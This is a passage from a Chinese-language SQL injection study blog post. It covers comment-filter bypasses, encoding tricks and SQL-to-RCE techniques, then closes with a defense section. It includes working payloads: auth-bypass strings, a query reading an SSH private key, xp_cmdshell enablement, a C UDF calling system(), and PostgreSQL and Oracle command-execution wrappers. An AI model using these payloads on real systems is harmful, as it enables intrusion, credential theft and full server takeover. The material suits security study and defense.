| mysql | component | 2024-07-29 00:04:12 | 0 | 1 | 0 |
| sakila | actor | 2024-07-29 00:05:44 | 200 | 1 | 1 |
| sakila | address | 2024-07-29 00:04:52 | 603 | 6 | 1 |
| sakila | category | 2024-07-29 00:04:52 | 16 | 1 | 0 |
| sakila | city | 2024-07-29 00:04:52 | 600 | 3 | 1 |
| sakila | country | 2024-07-29 00:04:52 | 109 | 1 | 0 |
| sakila | customer | 2024-07-29 00:04:52 | 599 | 5 | 3 |
| sakila | film | 2024-07-29 00:04:52 | 1000 | 12 | 5 |
| sakila | film_actor | 2024-07-29 00:04:52 | 5462 | 12 | 5 |
| sakila | film_category | 2024-07-29 00:04:53 | 1000 | 4 | 1 |
| sakila | film_text | 2024-07-29 00:04:52 | 1000 | 11 | 1 |
| sakila | inventory | 2024-07-29 00:04:53 | 4581 | 11 | 12 |
| sakila | language | 2024-07-29 00:04:53 | 6 | 1 | 0 |
| sakila | payment | 2024-07-29 00:04:54 | 16500 | 97 | 39 |
| sakila | rental | 2024-07-29 00:05:04 | 15423 | 97 | 73 |
| sakila | staff | 2024-07-29 00:05:14 | 2 | 4 | 2 |
| sakila | store | 2024-07-29 00:05:24 | 2 | 1 | 2 |
| sys | sys_config | 2024-07-29 00:04:13 | 6 | 1 | 0 |
| world | city | 2024-07-29 00:05:34 | 4035 | 25 | 7 |
| world | country | 2024-07-29 00:05:54 | 239 | 7 | 0 |
| world | countrylanguage | 2024-07-29 00:06:04 | 984 | 6 | 4 |
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
24 rows in set (0.00 sec)

5.9 过滤注释符#

如果所有的注释符 -- # /**/ /*!*/ 都被过滤, 无法忽略后面的语句, 可以改变闭合方式或者逻辑拼接以避免语法错误

1. 改变闭合方式

  • 适用场景:后端存在多个可控参数的查询(如登录框的账号和密码)。

  • 核心原理:利用第一个参数的闭合引号和第二个参数的起始引号,把后端原有的 SQL 语句包裹成一个普通的字符串使其失效。

  • 实战演示: 假设后端逻辑为 SELECT id FROM users WHERE username='[输入1]' AND passwd='[输入2]' LIMIT 0,1; 发送 Payload:

username=admin'OR&passwd=OR'

拼接后的最终语句:

SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

解析:原本用来验证密码的字段名 AND passwd= 被生生变成了一串无意义的纯文本数据,密码验证被完美绕过。

2. 平衡引号(单参数逻辑闭合)

  • 适用场景:只有一个注入点,且闭合方式为字符型。

  • 核心原理:在注入语句的最后,主动加上逻辑运算符或利用字符串拼接,去强行与后端自带的最后一个引号配对。

  • 实战演示(以单引号闭合为例): 万能密码平衡法

?id=1' or '1'='1

解析:拼接后变成 WHERE id='1' or '1'='1',尾部的单引号完美闭合。 联合查询回显平衡法:把原查询的尾部引号当作最后一个回显数据的包裹符,或者利用逻辑运算符平衡。

?id=-1' union select 1,2,database() '
?id=-1' union select 1,database(),3 or '1'='1

3. %00 截断

  • 适用场景:老版本的 PHP 环境(PHP <= 5.3.4,且未开启 GPC)。

  • 核心原理:利用 C 语言底层字符串以 Null 字符(\0)结尾的特性。传入 %00,使应用层直接抛弃后面的原始 SQL 语句。

  • 实战演示

?id=-1' union select 1,database(),3;%00

解析:数据库接收到的直接是 id='-1' union select 1,database(),3;%00 后面的残留语句被物理级抹除。

5.10 编码绕过#

-- SELECT username FROM users;
SELECT char(117,115,101,114,110,97,109,101) FROM users;
SELECT 0x757365726e616d65 FROM users;

5.11 花括号语法#

SELECT {a DATABASE()};

花括号左边是注释(左边可以是任意字母,但不能是数字),右边是查询语句的一部分

5.12 函数替换#

benchmark() => sleep()
hex() bin() => ascii()
concat() concat_ws() => group_concat()
substr() mid() left() right() elt() => substring()
char_length() => length()

6 SQL实现RCE#

SQLiteload_file函数
MSSQLxp_cmdshell函数
MySQLUDF
PostgreSQL 扩展
Oracle Java 存储过程

6.1 通过 SQLite 读取文件#

在某些 SQL 注入场景中,即使 SQLite 是一个轻量级的本地数据库,我依然可以利用文件读取函数来访问服务器上的关键文件。虽然这不等于直接在 SQL 里敲系统命令,但它是获取系统最高权限(RCE)的经典跳板。

  • 提示:原生 SQLite 的标准 CLI 中读取文件的函数通常是 readfile()。但在特定的开发环境、CTF 题目或加载了特定 C 扩展(如 sqlext)的情况下,会被封装或映射为 load_file()。两者的攻击逻辑完全一致。
  • 手法:尝试读取 id_rsa(包含 SSH 私钥的文件)
  • 示例
' UNION SELECT load_file('/.ssh/id_rsa') #
  • 攻击链路:如果成功检索到文件内容,将暴露的 SSH 私钥保存到本地,即可直接通过 SSH 免密连接到服务器,从而获得操作系统的完整控制权。

6.2 xp_cmdshell 存储过程执行命令#

xp_cmdshell 是 Microsoft SQL Server 中的一个极其强大的系统存储过程。它允许拥有足够权限的用户(如 sa),直接从 SQL 查询界面向底层的 Windows 操作系统发送指令。

  • 利用流程: 高版本 MSSQL 默认禁用此功能,但可以通过 sp_configure 强行将其启用,随后执行任意系统命令。 1.开启配置 Payload
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

2.执行系统命令payload

EXEC xp_cmdshell 'whoami';
  • 危害:该命令使的攻击者能够以服务器系统用户的身份执行任意命令,在 SQL 查询和系统完全入侵之间架起了一座直达的桥梁。

6.3 UDF (用户自定义函数) 提权#

在 MySQL 中,UDF(User Defined Function)允许开发人员使用 C/C++ 等底层语言编写自定义函数来扩展数据库功能。我可以通过注入恶意的 UDF 动态链接库,在 MySQL 中凭空创造出一个能执行系统命令的函数。

  • 利用流程: 需要对 MySQL 的 plugin 插件目录拥有写入权限(通过 into dumpfile 或权限配置错误获得)。 1. 编写恶意共享库代码(以 C 语言为例,编译为 .so.dll
#include <stdlib.h>
#include <my_global.h>
#include <my_sys.h>
#include <mysql.h>
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
return 0;
}
void sys_exec_deinit(UDF_INIT *initid) {}
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->arg_count != 1) return 0;
system(args->args[0]);
return 1;
}

2. 上传并注册恶意 UDF 函数: 将编译好的 malicious_udf.so 写入插件目录后,在 MySQL 中注册该函数。

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'malicious_udf.so';

3. 触发 RCE 执行命令

SELECT sys_exec('whoami');

6.4 PL/Python 扩展执行代码#

PostgreSQL 支持诸如 plpythonu(不受信任的 Python)之类的扩展,允许直接从 SQL 执行 Python 代码。这为与服务器操作系统交互提供了天然的途径。

  • 利用流程:依赖于 PostgreSQL 扩展的灵活性,通过包装 Python 的 os.system 来运行系统命令。 1. 创建扩展(如果不存在):
CREATE EXTENSION IF NOT EXISTS plpythonu;

2. 定义恶意 Python 包装函数

CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
import os
os.system(cmd)
$$ LANGUAGE plpythonu;

3. 触发 RCE 执行命令

SELECT exec_cmd('whoami');

6.5 Java 存储过程#

Oracle 数据库深度集成了嵌入式 Java(JVM),允许运行 Java 存储过程,并与 SQL 和 PL/SQL 并行运行。如果权限足够,我可以直接在数据库内部编写和运行 Java 恶意代码。

利用流程

  • 1. 创建恶意 Java 源文件并解析: 利用 Java 的 Runtime.getRuntime().exec() 在服务器上执行命令,并捕获输出流。
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CmdExec" AS
import java.io.*;
public class CmdExec {
public static String runCmd(String cmd) throws IOException {
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line);
}
return output.toString();
}
};
  • 2. 创建 PL/SQL 包装函数: 简化 Java 函数的调用,允许像调用标准 SQL 函数一样调用 Java 方法。
CREATE OR REPLACE FUNCTION exec_cmd(cmd VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME 'CmdExec.runCmd(java.lang.String) return java.lang.String';
  • 触发 RCE 执行命令
SELECT exec_cmd('whoami') FROM dual;

7 SQL注入防御#

7.1 参数化查询 (预编译)#

  • 原理:数据库预先解析 SQL 语句的语法骨架,随后将用户输入作为纯粹的文本数据填入占位符。无论输入什么恶意符号,都不会引发二次语法编译,从根本上免疫注入。

  • PHP PDO 示例

// 1. 准备骨架 (用 ? 占位)
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
// 2. 传入数据执行
$stmt->execute([$_POST['user'], $_POST['pass']]);

7.2 强制类型转换#

  • 应用场景:明确知道输入必须是数字的情况(如 ?id=1)。

  • 实操:后端直接使用 intval($_GET['id'])。任何包含 'OR 的恶意负载经过转换后都会变成纯数字或 0,恶意代码被物理销毁。

7.3 严格的白名单校验#

  • 应用场景:针对无法使用预编译的位置(如 ORDER BY 后面的动态字段名、动态表名)。

  • 实操:代码中写死一个允许的字段数组(如 ['id', 'time', 'price'])。如果用户输入不在数组内,直接拦截,坚决不带入 SQL 拼接。

7.4 最小权限原则#

  • 禁忌:Web 应用连接数据库绝对禁止使用 root (MySQL) 或 sa (MSSQL) 账号。

  • 实操:为每个项目分配独立且降权的普通账号,仅赋予当前业务库的增删改查(CRUD)权限,从底层剥夺其操作文件和系统表的资格。

7.5 封死高危系统配置#

  • MySQL:在 my.cnf 中设置 secure_file_priv = NULL,直接切断 load_file() 读文件和 into outfile 写木马的物理通路。

  • MSSQL:确保 xp_cmdshellsp_oacreate 等可执行系统命令的高危存储过程被禁用甚至删除。

7.6 部署 WAF (Web应用防火墙)#

在流量入口处架设硬件或云 WAF,通过正则特征和语义分析,将包含明显恶意 SQL 关键字(如 UNION, SLEEP, UPDATEXML)的请求拦截在网络层,作为旧系统的第一道防线。

SQL注入学习+补课
https://fuwari.vercel.app/posts/sql-learning/
作者
BIG熙
发布于
2026-02-24
许可协议
CC BY-NC-SA 4.0